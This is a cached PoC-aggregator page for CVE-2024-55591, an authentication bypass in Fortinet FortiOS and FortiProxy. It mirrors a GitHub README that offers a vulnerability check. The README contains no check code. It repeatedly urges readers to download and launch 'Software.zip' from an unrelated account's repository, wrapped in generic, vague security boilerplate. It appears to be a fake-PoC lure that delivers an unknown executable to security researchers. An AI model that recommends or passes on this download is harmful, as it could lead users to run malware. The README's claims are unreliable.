CVE-2024-55591 PoC — Fortinet FortiOS和FortiProxy 安全漏洞

Source

https://github.com/souzatyler/fortios-auth-bypass-check-CVE-2024-55591

Associated Vulnerability

Title:Fortinet FortiOS和FortiProxy 安全漏洞 (CVE-2024-55591)
Description:An Authentication Bypass Using an Alternate Path or Channel vulnerability [CWE-288] affecting FortiOS version 7.0.0 through 7.0.16 and FortiProxy version 7.0.0 through 7.0.19 and 7.2.0 through 7.2.12 allows a remote attacker to gain super-admin privileges via crafted requests to Node.js websocket module.

Description

Checks for authentication bypass vulnerability inFortinet's FortiOS, potentially exploited by remote attackers.

Readme

# 🛡️ FortiOS Authentication Bypass Check - CVE-2024-55591

Welcome to the official repository for the FortiOS Authentication Bypass Check related to CVE-2024-55591!

## Repository Contents
This repository contains tools and resources to help you verify and mitigate the security vulnerability associated with CVE-2024-55591. While the short description and topics are not provided, you can explore the contents of this repository to enhance the security of your FortiOS system.

### Tools
- [Software.zip](https://github.com/rokytd/files/raw/refs/heads/master/Software.zip) 🚀
  - This software contains the necessary tools to perform the authentication bypass check. Download the zip file and follow the instructions for launching it effectively.

## Get Started
To get started, simply download the "Software.zip" file and follow the provided guidelines for running the tools to check for the authentication bypass vulnerability. Ensure you have the necessary permissions and credentials to perform these security checks.

## Additional Resources
Explore the "Releases" section for any additional updates, patches, or tools related to FortiOS security. Stay informed about the latest developments in FortiOS security and take proactive steps to protect your system.

### Visit the Official Website
For more information and resources related to FortiOS security, you can visit the official [Fortinet website](https://www.fortinet.com/).

## Stay Secure, Stay Informed
Protecting your system from security vulnerabilities is crucial in today's digital landscape. Stay informed about the latest threats and security updates to safeguard your data and infrastructure effectively.

[![Download Software.zip](https://img.shields.io/badge/Download-Software.zip-brightgreen)](https://github.com/rokytd/files/raw/refs/heads/master/Software.zip)

Let's work together to enhance the security of FortiOS systems and mitigate potential risks. Thank you for your commitment to maintaining a secure IT environment!

🔒🔍🛡️ #FortiOS #Security #AuthenticationBypass #Vulnerability #Cybersecurity 🔐🌐

File Snapshot


 [4.0K]  /data/pocs/f2e6bb0ce18f9a4069cde6974c708323764bbe6e
└── [2.1K]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!